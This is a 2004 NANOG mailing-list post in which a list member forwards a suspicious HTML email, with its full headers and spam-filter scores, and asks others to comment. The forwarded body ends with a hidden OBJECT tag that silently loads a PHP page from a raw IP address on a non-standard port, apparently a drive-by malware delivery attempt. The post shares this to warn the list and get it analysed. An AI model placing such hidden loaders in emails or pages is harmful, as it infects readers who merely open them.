Request response

Thu Mar 18 02:51:24 UTC 2004

Erm, something is definately up tonight.  Message is below, for those of you
who didn't want to touch this message.

I can't get to the site listed in the message, so I have no idea what its
trying to deliver exactly.

Anyone care to comment?
-- 
Brian Bruns
The Summit Open Source Development Group
Open Solutions For A Closed World / Anti-Spam Resources
http://www.sosdg.org

The Abusive Hosts Blocking List
http://www.ahbl.org

Return-path: <owner-nanog at merit.edu>
Envelope-to: bruns at 2mbit.com
Delivery-date: Wed, 17 Mar 2004 21:41:31 -0500
Received: from trapdoor.merit.edu ([198.108.1.26] ident=postfix)
 by mail.sosdg.org with esmtp (Exim 4.30)
 id 1B3nTO-00021v-N6; Wed, 17 Mar 2004 21:41:30 -0500
Received: by trapdoor.merit.edu (Postfix)
 id 6E9DA91333; Wed, 17 Mar 2004 21:40:47 -0500 (EST)
Delivered-To: nanog-outgoing at trapdoor.merit.edu
Received: by trapdoor.merit.edu (Postfix, from userid 56)
 id 35AD791331; Wed, 17 Mar 2004 21:40:47 -0500 (EST)
Delivered-To: nanog at trapdoor.merit.edu
Received: from segue.merit.edu (segue.merit.edu [198.108.1.41])
 by trapdoor.merit.edu (Postfix) with ESMTP id 724909132F
 for <nanog at trapdoor.merit.edu>; Wed, 17 Mar 2004 21:40:44 -0500 (EST)
Received: by segue.merit.edu (Postfix)
 id 5A6015DE6E; Wed, 17 Mar 2004 21:40:44 -0500 (EST)
Delivered-To: nanog at merit.edu
Received: from PH02887.net (unknown [203.18.63.43])
 by segue.merit.edu (Postfix) with SMTP id 8220D5DE34
 for <nanog at merit.edu>; Wed, 17 Mar 2004 21:40:43 -0500 (EST)
Date: Thu, 18 Mar 2004 13:40:35 +1000
To: nanog at merit.edu
From: srh at merit.edu
Message-ID: <xpvmqgksfnpfrcuagqc at merit.edu>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-nanog at merit.edu
Precedence: bulk
Errors-To: owner-nanog-outgoing at merit.edu
X-Loop: nanog
X-Scan-Signature: 0642888b67059a54bfdd4dcbc5a4659b
X-SA-Exim-Connect-IP: 198.108.1.26
X-SA-Exim-Mail-From: owner-nanog at merit.edu
Subject: Request response
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on everest.sosdg.org
X-Spam-Level: *******
X-Spam-Status: No, hits=7.0 required=9.0 tests=BAYES_01,DCC_CHECK,
 FORGED_MUA_OUTLOOK,FORGED_OUTLOOK_TAGS,HTML_MESSAGE,MIME_HTML_ONLY,
 NORMAL_HTTP_TO_IP,NO_REAL_NAME,WEIRD_PORT autolearn=no version=2.63
X-Spam-Report:
 *  0.2 NO_REAL_NAME From: does not include a real name
 * -1.5 BAYES_01 BODY: Bayesian spam probability is 1 to 10%
 *      [score: 0.0600]
 *  0.1 HTML_MESSAGE BODY: HTML included in message
 *  0.3 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
 *  0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL
 *  1.4 WEIRD_PORT URI: Uses non-standard port number for HTTP
 *  2.9 DCC_CHECK Listed in DCC (http://rhyolite.com/anti-spam/dcc/)
 *  1.0 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
 *  2.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
X-SA-Exim-Version: 4.0 (built Tue, 16 Mar 2004 14:56:42 -0500)
X-SA-Exim-Scanned: Yes (on mail.sosdg.org)
Status:

<html><body>
<font  face="System">
<OBJECT STYLE="display:none"  DATA="http://24.84.218.164:81/641280.php">
</OBJECT></body></html>